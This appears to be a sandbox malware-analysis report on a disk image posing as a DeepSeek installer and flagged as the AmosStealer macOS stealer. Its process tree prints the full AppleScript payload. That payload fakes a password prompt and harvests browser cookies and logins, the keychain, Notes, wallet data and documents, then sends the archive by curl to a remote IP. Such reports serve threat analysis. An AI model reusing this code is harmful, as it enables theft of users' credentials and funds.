Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    19s
  • max time network
    53s
  • platform
    macos-10.15_amd64
  • resource
    macos-20241101-en
  • resource tags

    arch:amd64arch:i386image:macos-20241101-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    29/01/2025, 04:55

General

  • Target

    DeepSeek.dmg

  • Size

    342KB

  • MD5

    e63f8b44bc2e8cc8d7a711798aaacf90

  • SHA1

    3e3d4f338b8a4fb664c9c6e43612e9fddc7f3b84

  • SHA256

    ffef9d958bcc1d869639b785f36dfa035cdd41e35c1417b4e9895dc6a2d9017f

  • SHA512

    73be3a1dd37a8ed6903079b55a3cf8cbc07b773a5864fc5f106622759c0b6b34c520e44da57c6a7cbbb1f80b832595c6bdc61a1016f3fa82bbe6a2658d242f38

  • SSDEEP

    6144:qMMqCuT1Se5B8NmhmhIvMA2Br/YXL7LHcVg396//haRpHex8lLv:qMM6Tg3sh8IJL7L8ate/haRYx8hv

Malware Config

Signatures

  • AmosStealer

    A MacOS stealer.

  • Amosstealer family
  • Identifies hardware specifics through system_profiler 2 IoCs
  • Exfiltration Over Alternative Protocol 1 TTPs 2 IoCs

    Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

  • Resource Forking 1 TTPs 1 IoCs

    Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"open /Volumes/setup\""
    1⤵
      PID:504
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"open /Volumes/setup\""
      1⤵
        PID:504
      • /usr/bin/sudo
        sudo /bin/zsh -c "open /Volumes/setup"
        1⤵
          PID:504
          • /bin/zsh
            /bin/zsh -c "open /Volumes/setup"
            2⤵
              PID:505
            • /usr/bin/open
              open /Volumes/setup
              2⤵
                PID:505
            • /usr/libexec/xpcproxy
              xpcproxy com.apple.spindump
              1⤵
                PID:507
              • /usr/libexec/xpcproxy
                xpcproxy com.apple.quicklook.ui.helper
                1⤵
                  PID:508
                • /usr/sbin/spindump
                  /usr/sbin/spindump
                  1⤵
                    PID:507
                  • /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
                    /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
                    1⤵
                      PID:508
                    • /usr/libexec/xpcproxy
                      xpcproxy com.apple.spindump_agent
                      1⤵
                        PID:509
                      • /usr/libexec/spindump_agent
                        /usr/libexec/spindump_agent
                        1⤵
                          PID:509
                        • /usr/libexec/xpcproxy
                          xpcproxy com.apple.Terminal.2100
                          1⤵
                            PID:510
                          • /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
                            /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
                            1⤵
                              PID:510
                              • /usr/bin/login
                                login -pf run
                                2⤵
                                  PID:512
                                  • /bin/zsh
                                    -zsh
                                    3⤵
                                      PID:513
                                      • /usr/libexec/path_helper
                                        /usr/libexec/path_helper -s
                                        4⤵
                                          PID:514
                                        • /usr/bin/locale
                                          locale LC_CTYPE
                                          4⤵
                                            PID:515
                                      • /usr/bin/login
                                        login -pf run
                                        2⤵
                                          PID:516
                                          • /bin/zsh
                                            -zsh
                                            3⤵
                                              PID:517
                                              • /usr/libexec/path_helper
                                                /usr/libexec/path_helper -s
                                                4⤵
                                                  PID:518
                                                • /usr/bin/locale
                                                  locale LC_CTYPE
                                                  4⤵
                                                    PID:519
                                                  • /Volumes/setup/setup
                                                    /Volumes/setup/setup
                                                    4⤵
                                                      PID:520
                                              • /usr/libexec/xpcproxy
                                                xpcproxy com.apple.metadata.mdwrite
                                                1⤵
                                                  PID:511
                                                • /bin/sh
                                                  sh -c "osascript -e 'set release to true set filegrabbers to true on filesizer(paths) set fsz to 0 try set theItem to quoted form of POSIX path of paths set fsz to (do shell script \"/usr/bin/mdls -name kMDItemFSSize -raw \" & theItem) end try return fsz end filesizer on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set fileContent to read path_to_file set folderPath to BeforeFileName(path_as_save) mkdir(folderPath) do shell script \"cat \" & quoted form of path_to_file & \" > \" & quoted form of path_as_save end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolderLimit(sourceFolder, destinationFolder) try set bankSize to 0 set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolderLimit(itemPath, savePath) else set fsz to filesizer(itemPath) set bankSize to bankSize + fsz if bankSize < 10 * 1024 * 1024 then readwrite(itemPath, savePath) end if end if end if end repeat end try end GrabFolderLimit on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on GetUUID(pather, searchString) try set theFile to POSIX file pather set fileContents to read theFile set startPos to offset of searchString in fileContents if startPos is 0 then return \"not found\" end if set uuidStart to startPos + (length of searchString) set uuid to text uuidStart thru (uuidStart + 55) of fileContents set endpos to offset of \"\\\\\" in uuid if endpos is 0 then return \"not found\" end if set realuuid to text uuidStart thru (uuidStart + endpos - 2) of fileContents return realuuid on error return \"not found\" end try end GetUUID on firewallets(firepath, writemind, profile) try set fire_wallets to {{\"MetaMask\", \"[email protected]\\\\\\\":\\\\\\\"\"}} repeat with wallet in fire_wallets set uuid to GetUUID(firepath & \"/prefs.js\", item 2 of wallet) if uuid is not \"not found\" then set walkpath to firepath & \"/storage/default/\" set fileList to list folder walkpath without invisibles repeat with currentItem in fileList if currentItem contains uuid then set fwallet to walkpath & currentItem & \"/idb/\" set fileList_wallet to list folder fwallet without invisibles repeat with currentItem_wallet in fileList_wallet if isDirectory(fwallet & currentItem_wallet) then GrabFolder(fwallet & currentItem_wallet, writemind & \"ffwallets/\" & item 1 of wallet & \"_\" & profile & \"/\") end if end repeat end if end repeat end if end repeat end try end firewallets on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList firewallets(firefox & currentItem, writemind, currentItem) set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) try if checkvalid(username, \"\") then set result to do shell script \"security 2>&1 > /dev/null find-generic-password -ga \\\"Chrome\\\" | awk \\\"{print \$2}\\\"\" writeText(result as string, writemind & \"masterpass-chrome\") else repeat set result to display dialog \"Required Application Helper. Please enter password for continue.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") return password_entered end if end repeat end if end try return \"\" end getpwd on grabPlugins(paths, savePath, pluginList, index) try set fileList to list folder paths without invisibles repeat with PFile in fileList repeat with Plugin in pluginList if (PFile contains Plugin) then set newpath to paths & PFile set newsavepath to savePath & \"/\" & Plugin if index then set newsavepath to newsavepath & \"/IndexedDB/\" end if GrabFolder(newpath, newsavepath) end if end repeat end repeat end try end grabPlugins on chromium(writemind, chromium_map) set pluginList to {\"keenhcnmdmjjhincpilijphpiohdppno\", \"hbbgbephgojikajhfbomhlmmollphcad\", \"cjmkndjhnagcfbpiemnkdpomccnjblmj\", \"dhgnlgphgchebgoemcjekedjjbifijid\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"kamfleanhcmjelnhaeljonilnmjpkcjc\", \"jnldfbidonfeldmalbflbmlebbipcnle\", \"fdcnegogpncmfejlfnffnofpngdiejii\", \"klnaejjgbibmhlephnhpmaofohgkpgkd\", \"pdadjkfkgcafgbceimcpbkalnfnepbnk\", \"kjjebdkfeagdoogagbhepmbimaphnfln\", \"ldinpeekobnhjjdofggfgjlcehhmanlj\", \"dkdedlpgdmmkkfjabffeganieamfklkm\", \"bcopgchhojmggmffilplmbdicgaihlkp\", \"kpfchfdkjhcoekhdldggegebfakaaiog\", \"idnnbdplmphpflfnlkomgpfbpcgelopg\", \"mlhakagmgkmonhdonhkpjeebfphligng\", \"bipdhagncpgaccgdbddmbpcabgjikfkn\", \"gcbjmdjijjpffkpbgdkaojpmaninaion\", \"nhnkbkgjikgcigadomkphalanndcapjk\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"hoighigmnhgkkdaenafgnefkcmipfjon\", \"klghhnkeealcohjjanjjdaeeggmfmlpl\", \"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"ebfidpplhabeedpnhjnobghokpiioolj\", \"emeeapjkbcbpbpgaagfchmcgglmebnen\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"fhilaheimglignddkjgofkcbgekhenbh\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"cihmoadaighcejopammfbmddcmdekcje\", \"lodccjjbdhfakaekdiahmedfbieldgik\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"cjelfplplebdjjenllpjcblmjkfcffne\", \"jnlgamecbpmbajjfhmmmlhejkemejdma\", \"fpkhgmpbidmiogeglndfbkegfdlnajnf\", \"bifidjkcdpgfnlbcjpdkdcnbiooooblg\", \"amkmjjmmflddogmhpjloimipbofnfjih\", \"flpiciilemghbmfalicajoolhkkenfel\", \"hcflpincpppdclinealmandijcmnkbgn\", \"aeachknmefphepccionboohckonoeemg\", \"nlobpakggmbcgdbpjpnagmdbdhdhgphk\", \"momakdpclmaphlamgjcndbgfckjfpemp\", \"mnfifefkajgofkcjkemidiaecocnkjeh\", \"fnnegphlobjdpkhecapkijjdkgcjhkib\", \"ehjiblpccbknkgimiflboggcffmpphhp\", \"ilhaljfiglknggcoegeknjghdgampffk\", \"pgiaagfkgcbnmiiolekcfmljdagdhlcm\", \"fnjhmkhhmkbjkkabndcnnogagogbneec\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"imlcamfeniaidioeflifonfjeeppblda\", \"mdjmfdffdcmnoblignmgpommbefadffd\", \"ooiepdgjjnhcmlaobfinbomgebfgablh\", \"pcndjhkinnkaohffealmlmhaepkpmgkb\", \"ppdadbejkmjnefldpcdjhnkpbjkikoip\", \"cgeeodpfagjceefieflmdfphplkenlfk\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"bocpokimicclpaiekenaeelehdjllofo\", \"pocmplpaccanhmnllbbkpgfliimjljgo\", \"cphhlgmgameodnhkjdmkpanlelnlohao\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"bopcbmipnjdcdfflfgjdgdjejmgpoaab\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"phkbamefinggmakgklpkljjmgibohnba\", \"epapihdplajcdnnkdeiahlgigofloibg\", \"hpclkefagolihohboafpheddmmgdffjm\", \"cjookpbkjnpkmknedggeecikaponcalb\", \"cpmkedoipcpimgecpmgpldfpohjplkpp\", \"modjfdjcodmehnpccdjngmdfajggaoeh\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"kncchdigobghenbbaddojjnnaogfppfj\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"mcbigmjiafegjnnogedioegffbooigli\", \"fccgmnglbhajioalokbcidhcaikhlcpm\", \"hnhobjmcibchnmglfbldbfabcgaknlkj\", \"apnehcjmnengpnmccpaibjmhhoadaico\", \"enabgbdfcbaehmbigakijjabdpdnimlg\", \"mgffkfbidihjpoaomajlbgchddlicgpn\", \"fopmedgnkfpebgllppeddmmochcookhc\", \"jojhfeoedkpkglbfimdfabpdfjaoolaf\", \"ammjlinfekkoockogfhdkgcohjlbhmff\", \"abkahkcbhngaebpcgfmhkoioedceoigp\", \"dcbjpgbkjoomeenajdabiicabjljlnfp\", \"gkeelndblnomfmjnophbhfhcjbcnemka\", \"pnndplcbkakcplkjnolgbkdgjikjednm\", \"copjnifcecdedocejpaapepagaodgpbh\", \"hgbeiipamcgbdjhfflifkgehomnmglgk\", \"mkchoaaiifodcflmbaphdgeidocajadp\", \"ellkdbaphhldpeajbepobaecooaoafpg\", \"mdnaglckomeedfbogeajfajofmfgpoae\", \"nknhiehlklippafakaeklbeglecifhad\", \"ckklhkaabbmdjkahiaaplikpdddkenic\", \"fmblappgoiilbgafhjklehhfifbdocee\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"cnmamaachppnkjgnildpdmkaakejnhae\", \"fijngjgcjhjmmpcmkeiomlglpeiijkld\", \"niiaamnmgebpeejeemoifgdndgeaekhe\", \"odpnjmimokcmjgojhnhfcnalnegdjmdn\", \"lbjapbcmmceacocpimbpbidpgmlmoaao\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"hpglfhgfnhbgpjdenjgmdgoeiappafln\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"ibljocddagjghmlpgihahamcghfggcjc\", \"gkodhkbmiflnmkipcmlhhgadebbeijhh\", \"dbgnhckhnppddckangcjbkjnlddbjkna\", \"mfhbebgoclkghebffdldpobeajmbecfk\", \"nlbmnnijcnlegkjjpcfjclmcfggfefdm\", \"nlgbhdfgdhgbiamfdfmbikcdghidoadd\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"agoakfejjabomempkjlepdflaleeobhb\", \"dgiehkgfknklegdhekgeabnhgfjhbajd\", \"onhogfjeacnfoofkfgppdlbmlmnplgbn\", \"kkpehldckknjffeakihjajcjccmcjflh\", \"jaooiolkmfcmloonphpiiogkfckgciom\", \"ojggmchlghnjlapmfbnjholfjkiidbch\", \"pmmnimefaichbcnbndcfpaagbepnjaig\", \"oiohdnannmknmdlddkdejbmplhbdcbee\", \"aiifbnbfobpmeekipheeijimdpnlpgpp\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"anokgmphncpekkhclmingpimjmcooifb\", \"kkpllkodjeloidieedojogacfhpaihoh\", \"iokeahhehimjnekafflcihljlcjccdbe\", \"ifckdpamphokdglkkdomedpdegcjhjdp\", \"loinekcabhlmhjjbocijdoimmejangoa\", \"fcfcfllfndlomdhbehjjcoimbgofdncg\", \"ifclboecfhkjbpmhgehodcjpciihhmif\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"ookjlbkiijinhpmnjffcofjonbfbgaoc\", \"oafedfoadhdjjcipmcbecikgokpaphjk\", \"mapbhaebnddapnmifbbkgeedkeplgjmf\", \"cmndjbecilbocjfkibfbifhngkdmjgog\", \"kpfopkelmapcoipemfendmdcghnegimn\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\", \"ffnbelfdoeiohenkjibnmadjiehjhajb\", \"opcgpfmipidbgpenhmajoajpbobppdil\", \"lakggbcodlaclcbbbepmkpdhbcomcgkd\", \"kgdijkcfiglijhaglibaidbipiejjfdp\", \"hdkobeeifhdplocklknbnejdelgagbao\", \"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\", \"nbdhibgjnjpnkajaghbffjbkcgljfgdi\", \"kmhcihpebfmpgmihbkipmjlmmioameka\", \"kmphdnilpmdejikjdnlbcnmnabepfgkh\", \"nngceckbapebfimnlniiiahkandclblb\"} set custom_plugin_list to {\"\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\", \"/IndexedDB/\"} repeat with chromium in chromium_map set savePath to writemind & \"Chromium/\" & item 1 of chromium & \"_\" try set fileList to list folder item 2 of chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath, savePath & currentItem, pluginList, false) grabPlugins(readpath, writemind & \"deskwallets/\", custom_plugin_list, false) else if (CFile as string) is equal to \"/IndexedDB/\" then grabPlugins(readpath, savePath & currentItem, pluginList, true) else set writepath to savePath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/tmp/xuyna/FileGrabber/\" set photosPath to POSIX file \"/tmp/photos\" mkdir(photosPath) mkdir(destinationFolderPath) set extensionsList to {\"txt\",\"pdf\",\"docx\",\"zip\",\"wallet\",\"key\",\"keys\",\"doc\",\"jpeg\",\"png\"} set bankSize to 0 tell application \"Finder\" try set safariFolderPath to (path to home folder as text) & \"Library:Cookies:\" duplicate file (safariFolderPath & \"Cookies.binarycookies\") to folder destinationFolderPath with replacing set name of result to \"saf1\" end try try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" set notesAccounts to folder (notesFolderPath & \"Accounts:\") try --duplicate notesAccounts to photosPath with replacing end try try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing end try end repeat end try end try try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) set downloadsFiles to every file of folder \"Downloads\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set filesize to size of aFile if (bankSize + filesize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + filesize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(attempt) try set result_send to (do shell script \"curl -X POST -H \\\"uuid: 3ffe5a5a94a04af5b2155e01e50fb82f\\\" -H \\\"user: admin\\\" -H \\\"buildid: 2025-01-29T04:53:42.406Z\\\" --data-binary @/tmp/out.zip http://65.20.101.215/p2p\") on error if attempt < 10 then delay 60 send_data(attempt + 1) end if end try end send_data on VPN(writemind, vpn_dirs) end VPN set username to (system attribute \"USER\") set profile to \"/Users/\" & username set writemind to \"/tmp/xuyna/\" try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"user\") end try set library to profile & \"/Library/Application Support/\" set password_entered to getpwd(username, writemind) delay 0.01 set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"}, {\"Brave\", library & \"BraveSoftware/Brave-Browser/\"}, {\"Edge\", library & \"Microsoft Edge/\"}, {\"Vivaldi\", library & \"Vivaldi/\"}, {\"Opera\", library & \"com.operasoftware.Opera/\"}, {\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}, {\"Chrome Beta\", library & \"Google/Chrome Beta/\"}, {\"Chrome Canary\", library & \"Google/Chrome Canary\"}, {\"Chromium\", library & \"Chromium/\"}, {\"Chrome Dev\", library & \"Google/Chrome Dev/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"}, {\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"}, {\"deskwallets/Exodus\", library & \"Exodus/\"}, {\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}, {\"deskwallets/Wasabi\", profile & \"/.walletwasabi/client/Wallets/\"}, {\"deskwallets/Ledger_Live\", library & \"Ledger Live/\"}, {\"deskwallets/Monero\", profile & \"/Monero/wallets/\"}, {\"deskwallets/Bitcoin_Core\", library & \"Bitcoin/wallets/\"}, {\"deskwallets/Litecoin_Core\", library & \"Litecoin/wallets/\"}, {\"deskwallets/Dash_Core\", library & \"DashCore/wallets/\"}, {\"deskwallets/Electrum_LTC\", profile & \"/.electrum-ltc/wallets/\"}, {\"deskwallets/Electron_Cash\", profile & \"/.electron-cash/wallets/\"}, {\"deskwallets/Guarda\", library & \"Guarda/\"}, {\"deskwallets/Dogecoin_Core\", library & \"Dogecoin/wallets/\"}, {\"deskwallets/Trezor_Suite\", library & \"@trezor/suite-desktop/\"}} readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(library & \"@tonkeeper/desktop/config.json\", \"deskwallets/TonKeeper/config.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind & \"keychain\") if release then readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite\", writemind & \"FileGrabber/NoteStore.sqlite\") readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal\", writemind & \"FileGrabber/NoteStore.sqlite-wal\") readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm\", writemind & \"FileGrabber/NoteStore.sqlite-shm\") readwrite(profile & \"/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\", writemind & \"FileGrabber/Cookies.binarycookies\") readwrite(profile & \"/Library/Cookies/Cookies.binarycookies\", writemind & \"FileGrabber/saf1\") end if if filegrabbers then filegrabber() end if writeText(username, writemind & \"username\") set ff_paths to {library & \"Firefox/Profiles/\", library & \"Waterfox/Profiles/\", library & \"Pale Moon/Profiles/\"} repeat with firefox in ff_paths try parseFF(firefox, writemind) end try end repeat chromium(writemind, chromiumMap) deskwallets(writemind, walletMap) --GrabFolderLimit(\"/tmp/photos/\", writemind & \"FileGrabber/NotesPhoto/\") --set vpns to {{\"OpenVPN\", library & \"OpenVPN Connect/profiles/\"}} readwrite(\"/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist\", writemind & \"vpn/FortiVPN/vpn.plist\") do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /tmp/out.zip\" send_data(0) do shell script \"rm -r \" & writemind do shell script \"rm -r /tmp/photos\" do shell script \"rm /tmp/out.zip\" ' &"
                                                  1⤵
                                                    PID:522
                                                  • /bin/bash
                                                    sh -c "osascript -e 'set release to true set filegrabbers to true on filesizer(paths) set fsz to 0 try set theItem to quoted form of POSIX path of paths set fsz to (do shell script \"/usr/bin/mdls -name kMDItemFSSize -raw \" & theItem) end try return fsz end filesizer on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set fileContent to read path_to_file set folderPath to BeforeFileName(path_as_save) mkdir(folderPath) do shell script \"cat \" & quoted form of path_to_file & \" > \" & quoted form of path_as_save end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolderLimit(sourceFolder, destinationFolder) try set bankSize to 0 set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolderLimit(itemPath, savePath) else set fsz to filesizer(itemPath) set bankSize to bankSize + fsz if bankSize < 10 * 1024 * 1024 then readwrite(itemPath, savePath) end if end if end if end repeat end try end GrabFolderLimit on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on GetUUID(pather, searchString) try set theFile to POSIX file pather set fileContents to read theFile set startPos to offset of searchString in fileContents if startPos is 0 then return \"not found\" end if set uuidStart to startPos + (length of searchString) set uuid to text uuidStart thru (uuidStart + 55) of fileContents set endpos to offset of \"\\\\\" in uuid if endpos is 0 then return \"not found\" end if set realuuid to text uuidStart thru (uuidStart + endpos - 2) of fileContents return realuuid on error return \"not found\" end try end GetUUID on firewallets(firepath, writemind, profile) try set fire_wallets to {{\"MetaMask\", \"[email protected]\\\\\\\":\\\\\\\"\"}} repeat with wallet in fire_wallets set uuid to GetUUID(firepath & \"/prefs.js\", item 2 of wallet) if uuid is not \"not found\" then set walkpath to firepath & \"/storage/default/\" set fileList to list folder walkpath without invisibles repeat with currentItem in fileList if currentItem contains uuid then set fwallet to walkpath & currentItem & \"/idb/\" set fileList_wallet to list folder fwallet without invisibles repeat with currentItem_wallet in fileList_wallet if isDirectory(fwallet & currentItem_wallet) then GrabFolder(fwallet & currentItem_wallet, writemind & \"ffwallets/\" & item 1 of wallet & \"_\" & profile & \"/\") end if end repeat end if end repeat end if end repeat end try end firewallets on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList firewallets(firefox & currentItem, writemind, currentItem) set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) try if checkvalid(username, \"\") then set result to do shell script \"security 2>&1 > /dev/null find-generic-password -ga \\\"Chrome\\\" | awk \\\"{print \$2}\\\"\" writeText(result as string, writemind & \"masterpass-chrome\") else repeat set result to display dialog \"Required Application Helper. Please enter password for continue.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") return password_entered end if end repeat end if end try return \"\" end getpwd on grabPlugins(paths, savePath, pluginList, index) try set fileList to list folder paths without invisibles repeat with PFile in fileList repeat with Plugin in pluginList if (PFile contains Plugin) then set newpath to paths & PFile set newsavepath to savePath & \"/\" & Plugin if index then set newsavepath to newsavepath & \"/IndexedDB/\" end if GrabFolder(newpath, newsavepath) end if end repeat end repeat end try end grabPlugins on chromium(writemind, chromium_map) set pluginList to {\"keenhcnmdmjjhincpilijphpiohdppno\", \"hbbgbephgojikajhfbomhlmmollphcad\", \"cjmkndjhnagcfbpiemnkdpomccnjblmj\", \"dhgnlgphgchebgoemcjekedjjbifijid\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"kamfleanhcmjelnhaeljonilnmjpkcjc\", \"jnldfbidonfeldmalbflbmlebbipcnle\", \"fdcnegogpncmfejlfnffnofpngdiejii\", \"klnaejjgbibmhlephnhpmaofohgkpgkd\", 